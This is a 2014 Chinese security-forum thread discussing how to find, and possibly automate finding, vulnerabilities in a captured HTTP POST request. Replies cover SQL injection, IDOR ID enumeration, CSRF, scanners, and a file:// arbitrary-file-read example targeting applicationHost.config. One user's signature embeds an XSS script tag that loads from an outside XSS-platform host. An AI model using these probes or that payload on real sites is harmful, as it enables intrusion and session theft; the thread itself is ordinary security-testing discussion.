对于一个http请求,如何找里面的安全漏洞,能否自动化完成呢?

xsser (十根阳具有长短!!) | 2014-06-16 14:25

POST /cpc/incrementPV HTTP/1.1
Host: x.com
Content-Length: 48
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://x.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2041.4 Safari/537.36
 Content-Type: application/x-www-form-urlencoded
Referer: http://x.com/baobei/12368331
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=033C1EB44FDAEDA20BB85AC1CE4131D7; qudao=Z3Vhbmc6Z3Vhbmc; qudao=Z3Vhbmc6Z3Vhbmc; productFavor="12368435, 12368453"; Hm_lvt_24b03984b53f51c5480eebe325ad696e=1402668391; Hm_lpvt_24b03984b53f51c5480eebe325ad696e=1402668420

productIds=1&key=9641722e1610701dbd31d48058c87255&path=/user/

对于我们抓到的这样的请求,如何详细准确快速甚至自动化的找出里面可能存在的安全漏洞?

[原文地址]

各种吐槽:

1#

疯子 (世人笑我太疯癫,我笑世人看不穿。) | 2014-06-16 14:44

每个参数每个http头都用攻击代码过一遍,把可以攻击的回显以及常见报错给提示出来可能存在安全漏洞因为这种判断不是很准确!

2#

erevus (我的乌云币都在小号上,小号不是绑定我QQ,别盗我号) | 2014-06-16 14:58

路径测试?

3#

寂寞的瘦子 (学lisp就是为了增加扯淡的灵感。) | 2014-06-16 15:00

这不就是扫描器。

4#

HackBraid | 2014-06-16 15:11

可以这样:

1.SQL注入:把请求中的url+post数据获取到,然后用sqlmap里的测试流测试

2.目录遍历:host--->御剑的list?

3.xss等。。。

传说中的扫描器。。。

5#

MeirLin (百度搜索:栋栋大杂院) | 2014-06-16 15:23

@疯子 这样误报率太高了

6#

HackBraid | 2014-06-16 15:27

@MeirLin 不能那样说哦,在人工和机器筛选后人工判断,你选哪个?个人觉得一个较好的模式应该是这样的:先人工判断这个网站会出现什么漏洞,然后走扫描器,把我们觉得可能出现的高危漏洞勾选上,最后扫描的结果人工再审核一遍。

7#

MeirLin (百度搜索:栋栋大杂院) | 2014-06-16 15:28

@HackBraid 注意问题是自动化 ...

8#

c4bbage (1z) | 2014-06-16 15:40

1楼的固然粗暴但也很好。

--------题外话-----------

测试漏洞是否存在,并加以利用,人工才是最快,最有可信度的。当然也会因实力再有差异。

这衍生可以 大脑漏洞发掘核心机制 的讨论也。如:

URL:http://xxoo.no/html/FileMagr.aspx?filename=http://1.xxoo.no/image/asdf.gif

第一反应 任意文件读取

URL:http://xxoo.no/html/FileMagr.aspx?filename=file://C:\Windows\System32\inetsrv\config\applicationHost.config

找出路径,第一应该是分析这个任意下载漏洞,下载源码并进行分析:分析得到这个是调用WebClient.DownloadData() ,从而可以用这个进一步进行扫描内网端口、定位email内网主机位置etc。

我的漏洞发掘核心机制:我大脑提取特征(filemgn.aspx filename Response.body)一个文件名一个参数名 及其响应内容,让我归类到 可能是任意文件读取 中,并进行常规测试.

你的号

9#

xsser (十根阳具有长短!!) | 2014-06-16 15:52

@c4bbage 赞!

10#

超威蓝猫 (‮‮‮‮‮‮‮‮‮‮‮‮‮‮‮‮‮‮‮‮‮‮‮‮‮) | 2014-06-16 16:06

人脑靠经验实现自动化 ._.

11#

HackBraid | 2014-06-16 16:26

。。。所见略同

12#

蟋蟀哥哥 (̷ͣ̑̆ͯ̆̋͋̒ͩ͊̋̇̒ͦ̿̐͞҉̷̻̖͎̦̼) | 2014-06-16 16:55

机器归类,人工筛查

13#

专业种田 | 2014-06-16 17:40

@xsser 你问过的几个问题,总感觉你在做一个很强大的产品。

14#

xsser (十根阳具有长短!!) | 2014-06-16 17:56

@专业种田 可能 :)

15#

insight-labs (Root Yourself in Success) | 2014-06-16 18:04

@xsser

听说最近几家安全大厂都在搞自动化渗透系统 :)

16#

he1renyagao ([code]<script src=http://xsserme.sinaapp.com/03h4FW?1383289085></script>[/code]) | 2014-06-16 19:22

当不喜欢大于喜欢,这帖子会怎木办!

17#

winsyk | 2014-06-16 19:26

都没记录post数据,怎么验证呢?

18#

px1624 (aaaaaaaaa) | 2014-06-16 19:42

把productIds=1&key=9641722e1610701dbd31d48058c87255&path=/user/的id改为别人的,看可以不可以越权。。。

19#

xsser (十根阳具有长短!!) | 2014-06-16 19:44

@px1624 问题是策略怎么自动化

20#

px1624 (aaaaaaaaa) | 2014-06-16 19:58

@xsser 这个测试越权的自动化简单啊,直接遍历10个id,1、11、111、1111、11111......这种,然后一般10个中肯定可以获取到有效的id,然后看返回请求的状态就知道了,成功200、失败400 404 500之类的

21#

啦绯哥 | 2014-06-16 20:54

@xsser 剑心说的应该是日志分析吧?

如果你想做扫描器,判断存不存在漏洞是根据返回的数据决定的,不可能说提交个id=1、id=2就是平行权限,and 1=1 1=2就是注入,只能说这是一种测试方法,具体有没有漏洞还得看结果吧,你懂的。

22#

修码的马修 | 2014-06-16 21:12

@xsser 我的第一反应就是csrf,首先这是一个post包,没有token,如果是涉及用户核心操作的话就可能出现严重的csrf。

其次,越权也是一个好方向。说到自动化完成无非就是比对返回的结果,我们大可以写一个程序,先修改包里关键的参数(通常是userid,xxid之类的)提交会比对返回结果,再把可疑结果,就是返回的不同参数交给使用者来判断。

23#

伟大娃娃 (===================================================================================================================================================================================) | 2014-06-16 21:40

@xsser 需要一大堆的前置限定条件,比如告诉扫描器

1,uid这个参数是用户id;

2,uid这个参数必须登录后才有;

3,还要指定uid=1时登录之后返回内容中的某一段为身份标识;

4,告诉扫描器上一步中,哪些是错误标识,不能一旦返回内容异常就判定是越权;

................等等等等

感觉太难了...

一个资深测试者的大脑里相关规则太复杂,比如经常有的体验"一看到这个啥,我就知道可能会有啥",对机器来说要做一大堆判断...

24#

Yaseng (看黄片 到 www.yaseng.me) | 2014-06-16 22:03

目测之

25#

小胖子 (z7y首席代言人) | 2014-06-16 22:11

自动化的话,规则太复杂,每个网站是response是不一样的,可能导致规则也不一样,比如要测试注入很简单,要是测试越权就相对比较难从返回中看出结果,因为返回可能都是success,所以全面测试漏洞,应该是全面的程序漏洞则有可能,逻辑漏洞可能还是得靠人脑。

26#

Knight (查水表。缴wb不杀) | 2014-06-16 22:28

我决定在电脑能过图灵前不可能完全自动化,但是可以根据一些特征找漏洞。比如filename,path,uid什么的。

27#

zzR (你说我不能笑- -!) | 2014-06-17 09:13

目前来看,攻击、防御都是基于一定的特征值,自动化智能化也就比谁的库更加全面健康,下一代防火墙都基于in和out流量进行分析,还是比对特征。端详整个请求、响应前后过程,看看还有哪些地方可以挖掘……

@专业种田 我只能说你暴露的太多了

28#

骨灰 (给我一根烟的时间!!!) | 2014-06-17 09:17

只知道http头可注入和xss

29#

Elegance | 2014-06-17 09:37

@xsser burpsuite scanner模块应该能满足你大部分需求了

30#

goderci (</null>) | 2014-06-17 09:49

@xsser 又在做啥子啊?

31#

goderci (</null>) | 2014-06-17 09:50

机器学习建立正向模型...

32#

goderci (</null>) | 2014-06-17 09:57

1.简单粗暴的攻击:通过单个头部字段(key/value)攻击特征

2.稍微复杂的攻击:建立攻击模型,通过若干攻击尝试(info)关联分析

3.建立正向模型

33#

寂寞的瘦子 (学lisp就是为了增加扯淡的灵感。) | 2014-06-17 11:07

机器学习,人工智能挖洞机器人。

34#

kgra | 2014-06-17 20:00

谈我个人的理解(可能偏离主题):

安全测试自动化,我自己归为两类:见效快、见效慢

见效快的应该是那种固定的操作方式的自动化,比如Heartbleed检测,比如信息归类(类似12楼所说)

见效慢的应该是@xsser所问的这个问题,如何检测可能存在的漏洞,漏洞那么多种,每种都要测试很多。怎么搞,是个难题。

如果让我做,我会这样:采用面向对象的思想,每个http请求看作一个类(设Req),绝大多数的web安全测试都是针对请求的(当然白盒的除外),每种漏洞测试看作一个类(设Opt),针对Req要做哪些测试,就要看Req对象符合哪些特征了,此时便需要一个特征匹配的类(设Match)。

与其想那么多,不如先实现xss的测试,别考虑其他的了,

敏捷,你懂的

本人自动化测试出身,非安全人员,欢迎交流

35#

xsser (十根阳具有长短!!) | 2014-06-17 20:50

@kgra 可否私信一聊?

36#

Comer | 2014-06-17 20:58

@kgra 这就是普遍商业扫描器有个分类扫描的选项了,会比较深入些。默认的只能走个常规大概。

37#

luwikes (土豆你个西红柿,番茄你个马铃薯~~~) | 2014-06-18 17:34

你需要的是换位思考,将web程序看成是一个普通的软件,点击查看每一处的功能,大致勾勒开发人员实现的思路、框架。带着功能找漏洞,事半功倍。本人测试出身,欢迎探讨。

38#

Manning | 2014-06-19 16:28

对于网页里除了href标签下的url咋么爬?

39#

老和尚 | 2014-07-15 20:16

@xsser 贫僧正在做一个自动化检测get 注入的脚本 应该能实现自动化, 需要的可以详聊 Q 12151915

40#

abaddon (我就认识这几个字母因此取了这名字) | 2014-07-16 04:01

12漏想法不错

不过扫描会留下大量的痕迹

我们要换位思考 把我们自己当作黑客 黑客们不会这么做